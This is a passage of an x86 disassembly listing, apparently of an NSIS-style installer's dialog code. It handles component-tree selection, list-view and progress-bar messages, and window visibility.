		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+var_10]
		lea	ecx, [eax+eax*2]
		mov	ebx, [edx+ecx*8+8]
		mov	ecx, dword_42BA10
		mov	eax, [ecx+eax*4]
		test	eax, eax
		mov	[ebp+var_40], eax
		jz	loc_405A0D
		push	8
		mov	ecx, ebx
		pop	eax
		mov	[ebp+var_38], 10h
		mov	[ebp+var_44], eax
		and	ecx, eax
		lea	eax, [ebp+var_44]
		add	ecx, ecx
		push	eax
		push	0
		push	edi
		mov	[ebp+var_3C], ecx
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	[ebp+var_40]
		test	bl, 20h
		push	0
		pop	eax
		setnz	al
		inc	eax
		push	eax
		push	1102h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	eax, ebx
		and	eax, 41h
		cmp	al, 40h
		jz	loc_4059FF
		and	ebx, 1
		push	ebx
		push	[ebp+var_40]
		push	[ebp+var_4]
		call	sub_405A14
		push	[ebp+var_40]
		push	[ebp+var_4]
		call	sub_405AEF
		mov	ebx, [ebp+var_10]

loc_40561C:				; CODE XREF: sub_40526B+326j
		cmp	[ebp+arg_4], 4Eh
		mov	eax, 413h
		jz	short loc_405630
		cmp	[ebp+arg_4], eax
		jnz	loc_405725

loc_405630:				; CODE XREF: sub_40526B+3BAj
		cmp	[ebp+arg_4], eax
		mov	edi, [ebp+arg_C]
		jz	short loc_405645
		cmp	dword ptr [edi+4], 408h
		jnz	loc_405725

loc_405645:				; CODE XREF: sub_40526B+3CBj
		test	byte ptr dword_42F030+1, 2
		jnz	loc_4056E8
		cmp	[ebp+arg_4], eax
		jz	short loc_40566E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0FFFFFFFEh
		jnz	loc_4056E8
		push	[ebp+var_4]
		call	sub_40521F
		jmp	short loc_40567C
; ---------------------------------------------------------------------------

loc_40566E:				; CODE XREF: sub_40526B+3EAj
		push	0
		push	9
		push	110Ah
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_40567C:				; CODE XREF: sub_40526B+401j
		test	eax, eax
		mov	[ebp+var_40], eax
		jz	short loc_4056E8
		lea	eax, [ebp+var_44]
		mov	[ebp+var_44], 0Ch
		push	eax
		push	0
		push	110Ch
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	eax, [ebp+var_3C]
		shr	eax, 0Ch
		cmp	eax, 4
		jge	short loc_4056E8
		cmp	eax, 2
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*2]
		lea	eax, [ebx+eax*8+8]
		jnz	short loc_4056BB
		and	dword ptr [eax], 0FFFFFFFEh
		push	0
		jmp	short loc_4056C0
; ---------------------------------------------------------------------------

loc_4056BB:				; CODE XREF: sub_40526B+447j
		or	dword ptr [eax], 1
		push	1

loc_4056C0:				; CODE XREF: sub_40526B+44Ej
		push	[ebp+var_40]
		push	[ebp+var_4]
		call	sub_405A14
		push	[ebp+var_40]
		push	[ebp+var_4]
		call	sub_405AEF
		and	[ebp+arg_C], 0
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_4], 40Fh

loc_4056E8:				; CODE XREF: sub_40526B+3E1j
					; sub_40526B+3F3j ...
		test	edi, edi
		jz	short loc_405725
		cmp	dword ptr [edi+8], 0FFFFFE6Eh
		jnz	short loc_405704
		push	dword ptr [edi+5Ch]
		push	0
		push	419h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_405704:				; CODE XREF: sub_40526B+488j
		cmp	dword ptr [edi+8], 0FFFFFE6Ah
		jnz	short loc_405725
		mov	eax, [edi+5Ch]
		cmp	dword ptr [edi+0Ch], 2
		lea	eax, [eax+eax*2]
		lea	eax, [ebx+eax*8+8]
		jnz	short loc_405722
		or	dword ptr [eax], 20h
		jmp	short loc_405725
; ---------------------------------------------------------------------------

loc_405722:				; CODE XREF: sub_40526B+4B0j
		and	dword ptr [eax], 0FFFFFFDFh

loc_405725:				; CODE XREF: sub_40526B+3BFj
					; sub_40526B+3D4j ...
		cmp	[ebp+arg_4], 200h
		jnz	short loc_40573C
		push	0
		push	0
		push	200h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_40573C:				; CODE XREF: sub_40526B+4C1j
		mov	ebx, 432h
		cmp	[ebp+arg_4], ebx
		jz	short loc_40576F
		cmp	[ebp+arg_4], 111h
		jnz	loc_40587A
		cmp	word ptr [ebp+arg_8], 3F9h
		jnz	loc_4059FF
		mov	eax, [ebp+arg_8]
		shr	eax, 10h
		cmp	ax, 1
		jnz	loc_4059FF

loc_40576F:				; CODE XREF: sub_40526B+4D9j
		xor	edi, edi
		push	edi
		push	edi
		push	147h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], ebx
		jz	short loc_40578B
		cmp	eax, 0FFFFFFFFh
		jz	loc_40587A

loc_40578B:				; CODE XREF: sub_40526B+515j
		push	edi
		push	eax
		push	150h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_C], eax
		jnz	short loc_4057AF
		mov	eax, dword_42F0B8
		mov	dword_42F0BC, edi
		mov	[ebp+var_C], eax
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------

loc_4057AF:				; CODE XREF: sub_40526B+532j
		mov	[ebp+arg_C], 1

loc_4057B6:				; CODE XREF: sub_40526B+542j
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4057C7
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		cmp	[eax+ecx*4], edi
		jnz	short loc_4057CE

loc_4057C7:				; CODE XREF: sub_40526B+54Fj
		mov	[ebp+var_C], 20h

loc_4057CE:				; CODE XREF: sub_40526B+55Aj
		cmp	[ebp+var_C], 20h
		jz	loc_40586B
		mov	eax, dword_42F04C
		mov	ecx, dword_42BA10
		cmp	eax, edi
		mov	[ebp+arg_4], ecx
		jz	short loc_40585D
		mov	ecx, [ebp+var_C]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+var_1C], eax
		shl	ebx, cl
		mov	ecx, [ebp+var_10]
		lea	edi, [ecx+8]

loc_4057FB:				; CODE XREF: sub_40526B+5F0j
		xor	eax, eax
		inc	eax
		test	[edi-4], ebx
		jz	short loc_40580B
		or	dword ptr [edi], 1
		push	2
		pop	eax
		jmp	short loc_40580E
; ---------------------------------------------------------------------------

loc_40580B:				; CODE XREF: sub_40526B+596j
		and	dword ptr [edi], 0FFFFFFFEh

loc_40580E:				; CODE XREF: sub_40526B+59Ej
		test	byte ptr [edi],	10h
		jz	short loc_405816
		add	eax, 3

loc_405816:				; CODE XREF: sub_40526B+5A6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_40], ecx
		jz	short loc_405851
		shl	eax, 0Ch
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	110Dh
		mov	[ebp+var_44], 8
		push	[ebp+var_4]
		mov	[ebp+var_38], 0F000h
		call	esi	; SendMessageA
		push	[ebp+var_40]
		push	[ebp+var_4]
		call	sub_405AEF

loc_405851:				; CODE XREF: sub_40526B+5B5j
		add	[ebp+arg_4], 4
		add	edi, 18h
		dec	[ebp+var_1C]
		jnz	short loc_4057FB

loc_40585D:				; CODE XREF: sub_40526B+57Dj
		push	0
		push	6
		push	115h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_40586B:				; CODE XREF: sub_40526B+567j
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_4], 40Fh
		mov	dword_42F0B8, eax

loc_40587A:				; CODE XREF: sub_40526B+4E2j
					; sub_40526B+51Aj
		xor	edi, edi
		cmp	[ebp+arg_4], 40Bh
		jnz	short loc_4058B7
		mov	eax, dword_42B5FC
		cmp	eax, edi
		jz	short loc_405895
		push	eax
		call	ds:dword_407030

loc_405895:				; CODE XREF: sub_40526B+621j
		mov	eax, dword_42BA10
		cmp	eax, edi
		jz	short loc_4058A5
		push	eax
		call	ds:dword_4070BC	; GlobalFree

loc_4058A5:				; CODE XREF: sub_40526B+631j
		mov	dword_42B5FC, edi
		mov	dword_42BA10, edi
		mov	dword_42F080, edi

loc_4058B7:				; CODE XREF: sub_40526B+618j
		cmp	[ebp+arg_4], 40Fh
		jnz	loc_4059FF
		cmp	[ebp+arg_8], edi
		jz	short loc_4058D0
		push	8
		call	sub_4020C0

loc_4058D0:				; CODE XREF: sub_40526B+65Cj
		test	byte ptr dword_42F030+1, 1
		jz	short loc_40590B
		xor	ebx, ebx
		cmp	dword_42F0B8, 20h
		mov	esi, ds:dword_407218
		setz	bl
		shl	ebx, 3
		push	ebx
		push	[ebp+var_4]
		call	esi	; ShowWindow
		push	ebx
		push	3FEh
		push	[ebp+arg_0]
		call	ds:dword_40722C	; GetDlgItem
		push	eax
		call	esi	; ShowWindow
		jmp	loc_4059CD
; ---------------------------------------------------------------------------

loc_40590B:				; CODE XREF: sub_40526B+66Cj
		cmp	[ebp+arg_C], edi
		jnz	loc_4059CD
		xor	ebx, ebx
		mov	[ebp+var_1C], edi
		jmp	short loc_40591D
; ---------------------------------------------------------------------------

loc_40591B:				; CODE XREF: sub_40526B+746j
		xor	edi, edi

loc_40591D:				; CODE XREF: sub_40526B+6AEj
		mov	eax, dword_42BA10
		mov	ecx, [ebp+var_18]
		mov	[ebp+var_14], eax
		mov	eax, dword_42F04C
		cmp	[ecx+ebx*4], edi
		mov	[ebp+var_C], eax
		jz	short loc_4059AD
		cmp	eax, edi
		jz	short loc_4059A1
		mov	eax, [ebp+var_10]
		lea	edi, [eax+4]

loc_40593F:				; CODE XREF: sub_40526B+734j
		mov	eax, [ebp+var_14]
		dec	[ebp+var_C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_405994
		test	byte ptr [edi+4], 6
		jnz	short loc_405994
		mov	[ebp+var_40], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	110Ch
		mov	[ebp+var_44], 8
		push	[ebp+var_4]
		call	esi	; ShowWindow
		mov	eax, [ebp+var_3C]
		shr	eax, 0Ch
		cmp	eax, 1
		jz	short loc_40597F
		cmp	eax, 4
		jz	short loc_40597F
		xor	eax, eax
		jmp	short loc_405982
; ---------------------------------------------------------------------------

loc_40597F:				; CODE XREF: sub_40526B+709j
					; sub_40526B+70Ej
		xor	eax, eax
		inc	eax

loc_405982:				; CODE XREF: sub_40526B+712j
		xor	edx, edx
		mov	ecx, ebx
		inc	edx
		shl	edx, cl
		and	edx, [edi]
		neg	edx
		sbb	edx, edx
		inc	edx
		cmp	edx, eax
		jnz	short loc_4059A4

loc_405994:				; CODE XREF: sub_40526B+6DEj
					; sub_40526B+6E4j
		add	[ebp+var_14], 4
		add	edi, 18h
		cmp	[ebp+var_C], 0
		jnz	short loc_40593F

loc_4059A1:				; CODE XREF: sub_40526B+6CCj
		dec	[ebp+var_C]

loc_4059A4:				; CODE XREF: sub_40526B+727j
		cmp	[ebp+var_C], 0
		jl	short loc_4059B7
		inc	[ebp+var_1C]

loc_4059AD:				; CODE XREF: sub_40526B+6C8j
		inc	ebx
		cmp	ebx, 20h
		jl	loc_40591B

loc_4059B7:				; CODE XREF: sub_40526B+73Dj
		xor	edi, edi
		mov	dword_42F0B8, ebx
		push	edi
		push	[ebp+var_1C]
		push	14Eh
		push	[ebp+var_8]
		call	esi	; ShowWindow

loc_4059CD:				; CODE XREF: sub_40526B+69Bj
					; sub_40526B+6A3j
		mov	eax, dword_42E7FC
		cmp	[eax+10h], edi
		jz	short loc_4059FF
		push	0FFFFFFFBh
		push	offset dword_42BA18
		call	sub_4068D5
		push	eax
		push	5
		call	sub_4051F5
		push	eax
		call	sub_405176
		push	eax
		push	3FFh
		push	[ebp+arg_0]
		call	sub_4061E0	; SetDlgItemTextA

loc_4059FF:				; CODE XREF: sub_40526B+2F6j
					; sub_40526B+38Ej ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404A36

loc_405A0D:				; CODE XREF: sub_40526B+347j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40526B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A14	proc near		; CODE XREF: sub_40526B+39Ep
					; sub_40526B+45Bp ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		mov	esi, ds:dword_407248
		push	edi
		push	[ebp+arg_4]
		mov	[ebp+var_C], 1
		mov	edi, 110Ah
		push	4
		jmp	short loc_405A53
; ---------------------------------------------------------------------------

loc_405A3E:				; CODE XREF: sub_405A14+49j
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_405A14
		add	[ebp+var_4], eax
		inc	[ebp+var_8]
		push	ebx
		push	1

loc_405A53:				; CODE XREF: sub_405A14+28j
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405A3E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], 0Ch
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		push	110Ch
		mov	[ebp+var_28], 0F000h
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		mov	eax, [ebp+var_10]
		mov	ecx, dword_42F048
		lea	eax, [eax+eax*2]
		lea	ecx, [ecx+eax*8+8]
		mov	eax, [ecx]
		test	al, 10h
		jz	short loc_405AA2
		push	4
		mov	edi, eax
		pop	edx
		and	edi, 1
		jmp	short loc_405AA8
; ---------------------------------------------------------------------------

loc_405AA2:				; CODE XREF: sub_405A14+82j
		mov	edx, [ebp+var_C]
		mov	edi, [ebp+arg_8]

loc_405AA8:				; CODE XREF: sub_405A14+8Cj
		mov	ebx, [ebp+var_4]
		and	al, 0BEh
		test	ebx, ebx
		mov	[ecx], eax
		jnz	short loc_405AB7
		test	edi, edi
		jz	short loc_405AD0

loc_405AB7:				; CODE XREF: sub_405A14+9Dj
		inc	edx
		cmp	[ebp+var_8], ebx
		jnz	short loc_405AC1
		or	al, 1
		jmp	short loc_405AC4
; ---------------------------------------------------------------------------

loc_405AC1:				; CODE XREF: sub_405A14+A7j
		inc	edx
		or	al, 40h

loc_405AC4:				; CODE XREF: sub_405A14+ABj
		mov	[ebp+arg_8], 1
		mov	[ecx], eax
		mov	edi, [ebp+arg_8]

loc_405AD0:				; CODE XREF: sub_405A14+A1j
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		push	110Dh
		push	[ebp+arg_0]
		shl	edx, 0Ch
		mov	[ebp+var_2C], edx
		call	esi	; SendMessageA
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_405A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AEF	proc near		; CODE XREF: sub_40526B+22Bp
					; sub_40526B+3A9p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ds:dword_407248
		and	[ebp+var_4], 0
		mov	edi, 110Ah
		push	3
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		test	eax, eax
		mov	[ebp+arg_4], eax
		jz	loc_405BBF
		push	ebx
		push	eax
		push	4
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		mov	[ebp+var_2C], 0Ch
		mov	[ebp+var_20], 0F000h
		jmp	short loc_405B59
; ---------------------------------------------------------------------------

loc_405B36:				; CODE XREF: sub_405AEF+7Cj
		mov	[ebp+var_28], ebx
		call	esi	; SendMessageA
		mov	eax, [ebp+var_24]
		push	3
		shr	eax, 0Ch
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_405B4D
		push	ecx
		pop	edx

loc_405B4D:				; CODE XREF: sub_405AEF+5Aj
		or	[ebp+var_4], edx
		push	ebx
		push	1
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA

loc_405B59:				; CODE XREF: sub_405AEF+45j
		mov	ebx, eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	110Ch
		push	[ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_405B36
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_28], edi
		call	esi	; SendMessageA
		mov	eax, [ebp+var_8]
		mov	ecx, dword_42F048
		mov	edx, [ebp+var_4]
		pop	ebx
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*8+8]
		and	dword ptr [eax], 0FFFFFFBEh
		mov	ecx, [eax]
		cmp	edx, 2
		jnz	short loc_405B98
		or	ecx, 1
		mov	[eax], ecx

loc_405B98:				; CODE XREF: sub_405AEF+A2j
		cmp	edx, 3
		jnz	short loc_405BA0
		or	dword ptr [eax], 40h

loc_405BA0:				; CODE XREF: sub_405AEF+ACj
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	110Dh
		push	[ebp+arg_0]
		shl	edx, 0Ch
		mov	[ebp+var_24], edx
		call	esi	; SendMessageA
		push	edi
		push	[ebp+arg_0]
		call	sub_405AEF

loc_405BBF:				; CODE XREF: sub_405AEF+27j
		pop	edi
		pop	esi
		leave
		retn	8
sub_405AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BC5	proc near		; DATA XREF: sub_40526B+87o

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 102h
		push	esi
		push	edi
		jnz	short loc_405BF1
		cmp	[ebp+arg_8], 20h
		jnz	loc_405C8D
		push	413h
		call	sub_404A1B
		xor	eax, eax
		jmp	loc_405CA6
; ---------------------------------------------------------------------------

loc_405BF1:				; CODE XREF: sub_405BC5+Fj
		or	edi, 0FFFFFFFFh
		cmp	[ebp+arg_4], 2
		jnz	short loc_405C00
		mov	dword_4092BC, edi

loc_405C00:				; CODE XREF: sub_405BC5+33j
		cmp	[ebp+arg_4], 200h
		mov	esi, 419h
		jnz	short loc_405C4D
		push	[ebp+arg_0]
		call	ds:dword_4071CC	; IsWindowVisible
		test	eax, eax
		jz	short loc_405C8D
		push	[ebp+arg_0]
		call	sub_40521F
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_405C48
		lea	eax, [ebp+var_28]
		mov	[ebp+var_28], 4
		push	eax
		push	0
		push	110Ch
		push	[ebp+arg_0]
		call	ds:dword_407248	; SendMessageA
		mov	edi, [ebp+var_4]

loc_405C48:				; CODE XREF: sub_405BC5+63j
		mov	[ebp+arg_4], esi
		jmp	short loc_405C50
; ---------------------------------------------------------------------------

loc_405C4D:				; CODE XREF: sub_405BC5+47j
		mov	edi, [ebp+arg_C]

loc_405C50:				; CODE XREF: sub_405BC5+86j
		cmp	[ebp+arg_4], esi
		jnz	short loc_405C90
		cmp	dword_4092BC, edi
		jz	short loc_405C90
		push	ebx
		mov	esi, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		mov	ebx, offset dword_42BA18
		push	esi
		push	ebx
		mov	dword_4092BC, edi
		call	sub_4068C9	; lstrcpy
		push	edi
		push	esi
		call	sub_406827
		push	6
		call	sub_4020C0
		push	ebx
		push	esi
		call	sub_4068C9	; lstrcpy
		pop	ebx
		jmp	short loc_405C90
; ---------------------------------------------------------------------------

loc_405C8D:				; CODE XREF: sub_405BC5+15j
					; sub_405BC5+54j
		mov	edi, [ebp+arg_C]

loc_405C90:				; CODE XREF: sub_405BC5+8Ej
					; sub_405BC5+96j ...
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword_42BA0C
		call	ds:dword_4071C8	; CallWindowProcA

loc_405CA6:				; CODE XREF: sub_405BC5+27j
		pop	edi
		pop	esi
		leave
		retn	10h
sub_405BC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CAC	proc near		; CODE XREF: sub_4020D8+9p
					; sub_4020E9:loc_40214Fp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42E804
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	eax, edi
		jz	loc_405D7C
		mov	ebx, dword_4092C0
		mov	esi, offset byte_42ADF8
		mov	[ebp+var_4], ebx
		and	[ebp+var_4], 1
		jnz	short loc_405CE4
		push	[ebp+arg_0]
		push	esi
		call	sub_4068D5

loc_405CE4:				; CODE XREF: sub_405CAC+2Dj
		push	esi
		call	sub_4068CF	; lstrlen
		cmp	[ebp+arg_4], edi
		mov	[ebp+arg_0], eax
		jz	short loc_405D0E
		push	[ebp+arg_4]
		call	sub_4068CF	; lstrlen
		add	eax, [ebp+arg_0]
		cmp	eax, 800h
		jnb	short loc_405D7C
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_40708C	; lstrcat

loc_405D0E:				; CODE XREF: sub_405CAC+44j
		test	bl, 4
		jz	short loc_405D20
		push	esi
		push	dword_42E7E8
		call	ds:dword_40720C	; SetWindowTextA

loc_405D20:				; CODE XREF: sub_405CAC+65j
		test	bl, 2
		jz	short loc_405D6D
		push	edi
		push	edi
		push	1004h
		mov	[ebp+var_1C], esi
		push	[ebp+var_8]
		mov	esi, ds:dword_407248
		mov	[ebp+var_30], 1
		call	esi	; SendMessageA
		sub	eax, [ebp+var_4]
		mov	[ebp+var_28], edi
		not	ebx
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		and	ebx, 1
		push	eax
		or	bx, 1006h
		push	edi
		push	ebx
		push	[ebp+var_8]
		call	esi	; SendMessageA
		push	edi
		push	[ebp+var_2C]
		push	1013h
		push	[ebp+var_8]
		call	esi	; SendMessageA

loc_405D6D:				; CODE XREF: sub_405CAC+77j
		cmp	[ebp+var_4], edi
		jz	short loc_405D7C
		mov	eax, [ebp+arg_0]
		and	byte_42ADF8[eax], 0

loc_405D7C:				; CODE XREF: sub_405CAC+15j
					; sub_405CAC+56j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_405CAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D83	proc near		; CODE XREF: sub_4041E1+22Dp
					; DATA XREF: sub_405DE5+1BEo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, dword_42F048
		push	edi
		mov	edi, dword_42F04C
		push	0
		call	ds:dword_40727C
		or	dword_42F0D0, eax
		test	edi, edi
		jz	short loc_405DCB
		add	esi, 0Ch

loc_405DA6:				; CODE XREF: sub_405D83+3Ej
		dec	edi
		test	byte ptr [esi-4], 1
		jz	short loc_405DBC
		push	[esp+8+arg_0]
		push	dword ptr [esi]
		call	sub_40201D
		test	eax, eax
		jnz	short loc_405DC5

loc_405DBC:				; CODE XREF: sub_405D83+28j
		add	esi, 18h
		test	edi, edi
		jnz	short loc_405DA6
		jmp	short loc_405DCB
; ---------------------------------------------------------------------------

loc_405DC5:				; CODE XREF: sub_405D83+37j
		inc	dword_42F0AC

loc_405DCB:				; CODE XREF: sub_405D83+1Ej
					; sub_405D83+40j
		push	404h
		call	sub_404A1B
		call	ds:dword_407280
		mov	eax, dword_42F0AC
		pop	edi
		pop	esi
		retn	4
sub_405D83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DE5	proc near		; DATA XREF: .data:004092B4o

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		mov	esi, dword_42E804
		xor	ebx, ebx
		cmp	[ebp+arg_4], 110h
		push	edi
		mov	[ebp+var_4], esi
		jnz	loc_405F86
		or	[ebp+var_2C], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		mov	[ebp+var_34], 2
		mov	[ebp+var_30], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		stosd
		stosd
		mov	eax, dword_42F028
		mov	edi, ds:dword_40722C
		push	403h
		mov	ecx, [eax+5Ch]
		mov	eax, [eax+60h]
		push	[ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	[ebp+arg_8], eax
		call	edi	; GetDlgItem
		push	3EEh
		mov	dword_42E7F0, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	3F8h
		mov	dword_42E7E8, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	dword_42E7F0
		mov	dword_42E804, eax
		mov	[ebp+var_4], eax
		call	sub_404A04
		push	4
		call	sub_4051F5
		mov	dword_42E7F4, eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	dword_42E80C, ebx
		push	[ebp+var_4]
		call	ds:dword_407254	; GetClientRect
		push	15h
		call	ds:dword_4071EC	; GetSystemMetrics
		mov	ecx, [ebp+var_C]
		mov	esi, ds:dword_407248
		sub	ecx, eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		push	101Bh
		mov	[ebp+var_2C], ecx
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	eax, 4000h
		push	eax
		push	eax
		push	1036h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], ebx
		jl	short loc_405EED
		push	[ebp+arg_4]
		push	ebx
		push	1001h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	1026h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_405EED:				; CODE XREF: sub_405DE5+EAj
		cmp	[ebp+arg_8], ebx
		jl	short loc_405F00
		push	[ebp+arg_8]
		push	ebx
		push	1024h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_405F00:				; CODE XREF: sub_405DE5+10Bj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+30h]
		push	1Bh
		push	[ebp+arg_0]
		call	sub_4049CF
		test	byte ptr dword_42F030, 3
		jz	short loc_405F42
		push	ebx
		push	dword_42E7F0
		call	ds:dword_407218	; ShowWindow
		test	byte ptr dword_42F030, 2
		jnz	short loc_405F3C
		push	8
		push	[ebp+var_4]
		call	ds:dword_407218	; ShowWindow
		jmp	short loc_405F42
; ---------------------------------------------------------------------------

loc_405F3C:				; CODE XREF: sub_405DE5+148j
		mov	dword_42E7F0, ebx

loc_405F42:				; CODE XREF: sub_405DE5+132j
					; sub_405DE5+155j
		push	3ECh
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	75300000h
		mov	edi, eax
		push	ebx
		push	401h
		push	edi
		call	esi	; SendMessageA
		test	byte ptr dword_42F030, 4
		jz	loc_406158
		push	[ebp+arg_8]
		push	ebx
		push	409h
		push	edi
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	2001h
		push	edi
		call	esi	; SendMessageA
		jmp	loc_406158
; ---------------------------------------------------------------------------

loc_405F86:				; CODE XREF: sub_405DE5+1Bj
		cmp	[ebp+arg_4], 405h
		jnz	short loc_405FB7
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	3ECh
		push	[ebp+arg_0]
		call	ds:dword_40722C	; GetDlgItem
		push	eax
		push	offset sub_405D83
		push	ebx
		push	ebx
		call	ds:dword_4070DC	; CreateThread
		push	eax
		call	ds:dword_40706C	; CloseHandle

loc_405FB7:				; CODE XREF: sub_405DE5+1A8j
		cmp	[ebp+arg_4], 111h
		mov	edi, ds:dword_407218
		jnz	short loc_405FE1
		cmp	word ptr [ebp+arg_8], 403h
		jnz	short loc_406003
		push	ebx
		push	dword_42E7F0
		call	edi	; ShowWindow
		push	8
		push	esi
		call	edi	; ShowWindow
		call	sub_404DBF

loc_405FE1:				; CODE XREF: sub_405DE5+1DFj
		cmp	[ebp+arg_4], 404h
		jnz	short loc_40603F
		cmp	dword_42E7EC, ebx
		jz	short loc_406018
		push	78h
		mov	dword_42ADF0, 2
		call	sub_4049A8

loc_406003:				; CODE XREF: sub_405DE5+1E7j
					; sub_405DE5+25Ej ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404A36

loc_406011:				; CODE XREF: sub_405DE5+375j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------

